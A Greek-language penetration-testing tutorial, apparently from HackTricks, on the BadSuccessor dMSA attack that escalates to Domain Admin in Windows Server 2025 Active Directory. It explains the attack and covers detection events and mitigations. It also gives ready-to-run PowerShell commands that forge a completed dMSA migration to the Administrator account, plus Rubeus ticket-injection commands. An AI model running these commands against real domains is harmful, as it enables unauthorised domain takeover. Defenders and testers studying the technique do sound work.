# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse {{#include ../../banners/hacktricks-training.md}} ## Overview Delegated Managed Service Accounts (**dMSA**) είναι ο επόμενης γενιάς διάδοχος των **gMSA** που περιλαμβάνονται στα Windows Server 2025. Μια νόμιμη ροή εργασίας μετανάστευσης επιτρέπει στους διαχειριστές να αντικαταστήσουν έναν *παλιό* λογαριασμό (χρήστη, υπολογιστή ή λογαριασμό υπηρεσίας) με ένα dMSA διατηρώντας διαφανώς τις άδειες. Η ροή εργασίας εκτίθεται μέσω των PowerShell cmdlets όπως `Start-ADServiceAccountMigration` και `Complete-ADServiceAccountMigration` και βασίζεται σε δύο LDAP χαρακτηριστικά του **dMSA object**: * **`msDS-ManagedAccountPrecededByLink`** – *DN link* στον υπερκείμενο (παλιό) λογαριασμό. * **`msDS-DelegatedMSAState`** – κατάσταση μετανάστευσης (`0` = καμία, `1` = σε εξέλιξη, `2` = *ολοκληρωμένη*). Εάν ένας επιτιθέμενος μπορεί να δημιουργήσει **οποιοδήποτε** dMSA μέσα σε μια OU και να χειριστεί άμεσα αυτά τα 2 χαρακτηριστικά, οι LSASS & KDC θα θεωρήσουν το dMSA ως *διάδοχο* του συνδεδεμένου λογαριασμού. Όταν ο επιτιθέμενος στη συνέχεια αυθεντικοποιείται ως dMSA **κληρονομεί όλα τα δικαιώματα του συνδεδεμένου λογαριασμού** – έως **Domain Admin** αν ο λογαριασμός Administrator είναι συνδεδεμένος. Αυτή η τεχνική ονομάστηκε **BadSuccessor** από την Unit 42 το 2025. Στη στιγμή της συγγραφής **δεν είναι διαθέσιμο** κανένα security patch; μόνο η σκληροποίηση των αδειών OU μετριάζει το ζήτημα. ### Attack prerequisites 1. Ένας λογαριασμός που *επιτρέπεται* να δημιουργεί αντικείμενα μέσα σε **μια Οργανωτική Μονάδα (OU)** *και* έχει τουλάχιστον ένα από τα εξής: * `Create Child` → **`msDS-DelegatedManagedServiceAccount`** object class * `Create Child` → **`All Objects`** (γενική δημιουργία) 2. Δικτυακή συνδεσιμότητα με LDAP & Kerberos (τυπικό σενάριο συνδεδεμένου τομέα / απομακρυσμένη επίθεση). ## Enumerating Vulnerable OUs Η Unit 42 δημοσίευσε ένα PowerShell helper script που αναλύει τους περιγραφείς ασφαλείας κάθε OU και επισημαίνει τις απαιτούμενες ACEs: ```powershell Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local ``` Κάτω από την επιφάνεια, το σενάριο εκτελεί μια σελιδοποιημένη αναζήτηση LDAP για `(objectClass=organizationalUnit)` και ελέγχει κάθε `nTSecurityDescriptor` για * `ADS_RIGHT_DS_CREATE_CHILD` (0x0001) * `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (object class *msDS-DelegatedManagedServiceAccount*) ## Βήματα Εκμετάλλευσης Μόλις εντοπιστεί ένα εγ writable OU, η επίθεση είναι μόνο 3 εγγραφές LDAP μακριά: ```powershell # 1. Create a new delegated MSA inside the delegated OU New-ADServiceAccount -Name attacker_dMSA \ -DNSHostName host.contoso.local \ -Path "OU=DelegatedOU,DC=contoso,DC=com" # 2. Point the dMSA to the target account (e.g. Domain Admin) Set-ADServiceAccount attacker_dMSA -Add \ @{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"} # 3. Mark the migration as *completed* Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2} ``` Μετά την αναπαραγωγή, ο επιτιθέμενος μπορεί απλά να **logon** ως `attacker_dMSA$` ή να ζητήσει ένα Kerberos TGT – τα Windows θα δημιουργήσουν το token του *superseded* λογαριασμού. ### Αυτοματοποίηση Πολλές δημόσιες PoCs περιλαμβάνουν ολόκληρη τη ροή εργασίας, συμπεριλαμβανομένης της ανάκτησης κωδικού πρόσβασης και της διαχείρισης εισιτηρίων: * SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor) * BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) * NetExec module – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) ### Μετά την εκμετάλλευση ```powershell # Request a TGT for the dMSA and inject it (Rubeus) Rubeus asktgt /user:attacker_dMSA$ /password: /domain:contoso.local Rubeus ptt /ticket: # Access Domain Admin resources dir \\DC01\C$ ``` ## Ανίχνευση & Κυνήγι Ενεργοποιήστε την **Επιθεώρηση Αντικειμένων** σε OUs και παρακολουθήστε τα εξής Windows Security Events: * **5137** – Δημιουργία του αντικειμένου **dMSA** * **5136** – Τροποποίηση του **`msDS-ManagedAccountPrecededByLink`** * **4662** – Συγκεκριμένες αλλαγές χαρακτηριστικών * GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState` * GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink` * **2946** – Έκδοση TGT για το dMSA Η συσχέτιση `4662` (τροποποίηση χαρακτηριστικών), `4741` (δημιουργία υπολογιστή/λογαριασμού υπηρεσίας) και `4624` (επόμενη σύνδεση) επισημαίνει γρήγορα τη δραστηριότητα BadSuccessor. Οι λύσεις XDR όπως το **XSIAM** περιλαμβάνουν έτοιμες προς χρήση ερωτήσεις (βλ. αναφορές). ## Μετριασμός * Εφαρμόστε την αρχή της **ελάχιστης εξουσίας** – μόνο αναθέστε τη διαχείριση *Λογαριασμού Υπηρεσίας* σε αξιόπιστους ρόλους. * Αφαιρέστε το `Create Child` / `msDS-DelegatedManagedServiceAccount` από OUs που δεν το απαιτούν ρητά. * Παρακολουθήστε τα IDs γεγονότων που αναφέρονται παραπάνω και ειδοποιήστε για *μη-Tier-0* ταυτότητες που δημιουργούν ή επεξεργάζονται dMSAs. ## Δείτε επίσης {{#ref}} golden-dmsa-gmsa.md {{#endref}} ## Αναφορές - [Unit42 – Όταν οι Καλοί Λογαριασμοί Γίνονται Κακοί: Εκμετάλλευση των Αντιπροσωπευτικών Λογαριασμών Υπηρεσίας](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/) - [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor) - [BadSuccessor.ps1 – Συλλογή Εργαλείων Pentest](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1) - [NetExec BadSuccessor module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py) {{#include ../../banners/hacktricks-training.md}}